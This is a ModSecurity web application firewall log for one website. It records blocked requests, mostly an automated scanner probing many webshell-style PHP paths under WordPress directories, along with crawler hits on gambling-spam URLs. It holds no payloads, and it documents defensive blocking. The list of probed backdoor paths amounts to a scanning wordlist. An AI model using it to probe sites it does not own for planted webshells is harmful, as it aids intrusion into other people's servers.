[Sat Nov 22 01:09:22.559760 2025] [:error] [pid 49641:tid 49833] [client 66.249.64.9:36854] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoso/%E0%B8%94%E0%B8%B9%20%E0%B8%9C%E0%B8%A5%E0%B8%9A%E0%B8%AD%E0%B8%A5%20888%20%E0%B8%AA%E0%B8%94%20%E0%B8%9F%E0%B8%B8%E0%B8%95%E0%B8%9A%E0%B8%AD%E0%B8%A5.html"] [unique_id "aSCcwlnhuiDak938N_axoQAAAAo"]
[Sat Nov 22 01:10:02.145369 2025] [:error] [pid 9180:tid 9184] [client 66.249.64.9:48773] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/Daftar%20%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%95%E0%B8%B2%E0%B8%A3%E0%B9%8C356.html"] [unique_id "aSCc6rrk9msixUFV2i-LGQAAAEI"]
[Sat Nov 22 01:10:14.716462 2025] [:error] [pid 49642:tid 49891] [client 103.186.30.186:54077] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aSCc9oOXTPSuQfgUUtWKUAAAAIA"]
[Sat Nov 22 01:10:15.144178 2025] [:error] [pid 9180:tid 9195] [client 103.186.30.186:62641] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/style.php"] [unique_id "aSCc97rk9msixUFV2i-LQAAAAE0"]
[Sat Nov 22 01:10:15.389235 2025] [:error] [pid 9180:tid 9202] [client 103.186.30.186:63797] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/style.php"] [unique_id "aSCc97rk9msixUFV2i-LQQAAAFQ"]
[Sat Nov 22 01:10:15.822879 2025] [:error] [pid 9180:tid 9185] [client 103.186.30.186:65465] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/style.php"] [unique_id "aSCc97rk9msixUFV2i-LRgAAAEM"]
[Sat Nov 22 01:10:16.238755 2025] [:error] [pid 49641:tid 49843] [client 103.186.30.186:51785] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style.php"] [unique_id "aSCc-FnhuiDak938N_ayFgAAABQ"]
[Sat Nov 22 01:10:16.558830 2025] [:error] [pid 49642:tid 49899] [client 103.186.30.186:53048] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSCc-IOXTPSuQfgUUtWKVgAAAIg"]
[Sat Nov 22 01:10:17.178568 2025] [:error] [pid 49643:tid 49921] [client 103.186.30.186:55248] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aSCc-ZwUojIRHhF_fj-IsAAAAMI"]
[Sat Nov 22 01:10:17.570182 2025] [:error] [pid 49643:tid 49934] [client 103.186.30.186:65263] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aSCc-ZwUojIRHhF_fj-ItQAAAM4"]
[Sat Nov 22 01:10:18.180954 2025] [:error] [pid 49641:tid 49838] [client 103.186.30.186:57686] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aSCc-lnhuiDak938N_ayIwAAAA8"]
[Sat Nov 22 01:10:18.533319 2025] [:error] [pid 49641:tid 49827] [client 103.186.30.186:52132] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aSCc-lnhuiDak938N_ayKgAAAAQ"]
[Sat Nov 22 01:10:19.021052 2025] [:error] [pid 49641:tid 49828] [client 103.186.30.186:58386] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aSCc-1nhuiDak938N_ayLgAAAAU"]
[Sat Nov 22 01:10:19.265746 2025] [:error] [pid 49643:tid 49932] [client 103.186.30.186:62214] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aSCc-5wUojIRHhF_fj-IvAAAAMw"]
[Sat Nov 22 01:10:20.007344 2025] [:error] [pid 49642:tid 49893] [client 103.186.30.186:59246] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aSCc_IOXTPSuQfgUUtWKZAAAAII"]
[Sat Nov 22 01:10:20.350021 2025] [:error] [pid 9180:tid 9185] [client 103.186.30.186:64825] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSCc_Lrk9msixUFV2i-LUQAAAEM"]
[Sat Nov 22 01:10:20.616510 2025] [:error] [pid 49642:tid 49908] [client 103.186.30.186:61318] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "aSCc_IOXTPSuQfgUUtWKZgAAAJE"]
[Sat Nov 22 01:10:21.263419 2025] [:error] [pid 49641:tid 49831] [client 103.186.30.186:60856] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aSCc_VnhuiDak938N_ayNgAAAAg"]
[Sat Nov 22 01:10:21.638724 2025] [:error] [pid 49641:tid 49838] [client 103.186.30.186:60599] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aSCc_VnhuiDak938N_ayPgAAAA8"]
[Sat Nov 22 01:10:22.248509 2025] [:error] [pid 49641:tid 49845] [client 103.186.30.186:54292] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aSCc_lnhuiDak938N_ayRgAAABY"]
[Sat Nov 22 01:10:22.659003 2025] [:error] [pid 49642:tid 49915] [client 103.186.30.186:63076] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aSCc_oOXTPSuQfgUUtWKbAAAAJg"]
[Sat Nov 22 01:10:23.244427 2025] [:error] [pid 9180:tid 9195] [client 103.186.30.186:57639] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aSCc_7rk9msixUFV2i-LWAAAAE0"]
[Sat Nov 22 01:10:23.585160 2025] [:error] [pid 50057:tid 50064] [client 103.186.30.186:54018] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "aSCc_1b9j9fTBoI0sRVEFwAAAQU"]
[Sat Nov 22 01:10:24.124967 2025] [:error] [pid 49643:tid 49933] [client 103.186.30.186:60503] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aSCdAJwUojIRHhF_fj-IygAAAM0"]
[Sat Nov 22 01:10:24.458958 2025] [:error] [pid 49643:tid 49922] [client 103.186.30.186:55522] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aSCdAJwUojIRHhF_fj-IzAAAAMM"]
[Sat Nov 22 01:10:25.289890 2025] [:error] [pid 50057:tid 50065] [client 103.186.30.186:50610] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aSCdAVb9j9fTBoI0sRVEIQAAAQY"]
[Sat Nov 22 01:10:26.134107 2025] [:error] [pid 49642:tid 49912] [client 103.186.30.186:55407] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/133.php"] [unique_id "aSCdAoOXTPSuQfgUUtWKcwAAAJU"]
[Sat Nov 22 01:10:26.393301 2025] [:error] [pid 9180:tid 9185] [client 103.186.30.186:51551] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSCdArrk9msixUFV2i-LagAAAEM"]
[Sat Nov 22 01:10:26.938140 2025] [:error] [pid 49643:tid 49923] [client 103.186.30.186:55398] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "aSCdApwUojIRHhF_fj-I0QAAAMQ"]
[Sat Nov 22 01:10:27.218366 2025] [:error] [pid 49642:tid 49915] [client 103.186.30.186:59287] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lufix1.php"] [unique_id "aSCdA4OXTPSuQfgUUtWKfAAAAJg"]
[Sat Nov 22 01:10:27.482619 2025] [:error] [pid 49642:tid 49903] [client 103.186.30.186:59504] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aSCdA4OXTPSuQfgUUtWKfgAAAIw"]
[Sat Nov 22 01:10:27.763131 2025] [:error] [pid 49642:tid 49906] [client 103.186.30.186:56987] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/index.php"] [unique_id "aSCdA4OXTPSuQfgUUtWKgAAAAI8"]
[Sat Nov 22 01:10:28.267572 2025] [:error] [pid 49642:tid 49892] [client 103.186.30.186:58767] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aSCdBIOXTPSuQfgUUtWKhwAAAIE"]
[Sat Nov 22 01:10:28.789252 2025] [:error] [pid 9180:tid 9201] [client 103.186.30.186:59940] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aSCdBLrk9msixUFV2i-LegAAAFM"]
[Sat Nov 22 01:10:29.229020 2025] [:error] [pid 9180:tid 9184] [client 103.186.30.186:62382] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aSCdBbrk9msixUFV2i-LfAAAAEI"]
[Sat Nov 22 01:10:29.739163 2025] [:error] [pid 49642:tid 49912] [client 103.186.30.186:62382] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSCdBYOXTPSuQfgUUtWKigAAAJU"]
[Sat Nov 22 01:10:30.242195 2025] [:error] [pid 49641:tid 49832] [client 103.186.30.186:63394] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aSCdBlnhuiDak938N_ayXwAAAAk"]
[Sat Nov 22 01:10:30.544487 2025] [:error] [pid 49641:tid 49847] [client 103.186.30.186:62940] [client 103.186.30.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aSCdBlnhuiDak938N_ayZgAAABg"]
[Sat Nov 22 01:12:46.794965 2025] [:error] [pid 49641:tid 49846] [client 66.249.64.9:61632] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/Slot%20%E0%B8%A2%E0%B8%B9%20%E0%B8%9F%E0%B9%88%E0%B8%B2%20777.html"] [unique_id "aSCdjlnhuiDak938N_a0EgAAABc"]
[Sat Nov 22 01:12:50.787670 2025] [:error] [pid 49643:tid 49930] [client 66.249.64.9:61591] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nohu/Daftar%20pg%20careers.html"] [unique_id "aSCdkpwUojIRHhF_fj-J5AAAAMo"]
[Sat Nov 22 01:12:57.129998 2025] [:error] [pid 9180:tid 9203] [client 66.249.64.9:55243] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dabong/Login%20%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89%E0%B8%9A%E0%B8%AD%E0%B8%A5%E0%B9%80%E0%B8%95%E0%B8%B0%E0%B8%81%E0%B8%B5%E0%B9%88%E0%B9%82%E0%B8%A1%E0%B8%87.html"] [unique_id "aSCdmbrk9msixUFV2i-NWAAAAFU"]
[Sat Nov 22 01:12:59.609665 2025] [:error] [pid 49641:tid 49842] [client 66.249.64.9:39186] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bet/%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20pgwallet%202023.html"] [unique_id "aSCdm1nhuiDak938N_a0IwAAABM"]
[Sat Nov 22 01:13:05.574519 2025] [:error] [pid 50057:tid 50073] [client 66.249.64.9:35492] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/pg%20totem.html"] [unique_id "aSCdoVb9j9fTBoI0sRVFewAAAQ4"]
[Sat Nov 22 01:13:19.934207 2025] [:error] [pid 50057:tid 50073] [client 66.249.64.9:59205] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/games/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg333.html"] [unique_id "aSCdr1b9j9fTBoI0sRVFkgAAAQ4"]
[Sat Nov 22 01:13:22.397825 2025] [:error] [pid 49642:tid 49900] [client 66.249.64.9:39161] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%84%E0%B8%A1%E0%B9%88%20%E0%B9%80%E0%B8%94%E0%B9%89%E0%B8%87%20%E0%B8%8B%E0%B8%B7%E0%B9%89%E0%B8%AD%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B9%84%E0%B8%94%E0%B9%89%202024.html"] [unique_id "aSCdsoOXTPSuQfgUUtWMHQAAAIk"]
[Sat Nov 22 01:13:27.595961 2025] [:error] [pid 50057:tid 50060] [client 66.249.64.9:59276] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dabong/slot%20pg%20soft%20bonus%20new%20member%20100.html"] [unique_id "aSCdt1b9j9fTBoI0sRVFmwAAAQE"]
[Sat Nov 22 01:13:30.965247 2025] [:error] [pid 50057:tid 50076] [client 66.249.64.9:62276] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bonus/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%81%E0%B8%A1%20pg.html"] [unique_id "aSCdulb9j9fTBoI0sRVFnwAAARE"]
[Sat Nov 22 01:13:36.513195 2025] [:error] [pid 49643:tid 49932] [client 66.249.64.9:59816] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cash/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.html"] [unique_id "aSCdwJwUojIRHhF_fj-KHAAAAMw"]
[Sat Nov 22 01:14:49.661841 2025] [:error] [pid 50057:tid 50075] [client 66.249.64.9:60244] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betting/pg%20soft%20slot%20max%20win.html"] [unique_id "aSCeCVb9j9fTBoI0sRVGBwAAARA"]
[Sat Nov 22 01:14:55.828993 2025] [:error] [pid 49641:tid 49835] [client 66.249.64.9:43812] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/prosperity%20fortune%20tree%20pg%20png.html"] [unique_id "aSCeD1nhuiDak938N_a0sAAAAAw"]
[Sat Nov 22 01:14:59.161817 2025] [:error] [pid 9180:tid 9183] [client 66.249.64.9:52923] [client 66.249.64.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gambling/%E0%B9%80%E0%B8%81%E0%B8%A1%E0%B8%A2%E0%B8%B4%E0%B8%87%E0%B8%9B%E0%B8%A5%E0%B8%B2jili.html"] [unique_id "aSCeE7rk9msixUFV2i-OHAAAAEE"]
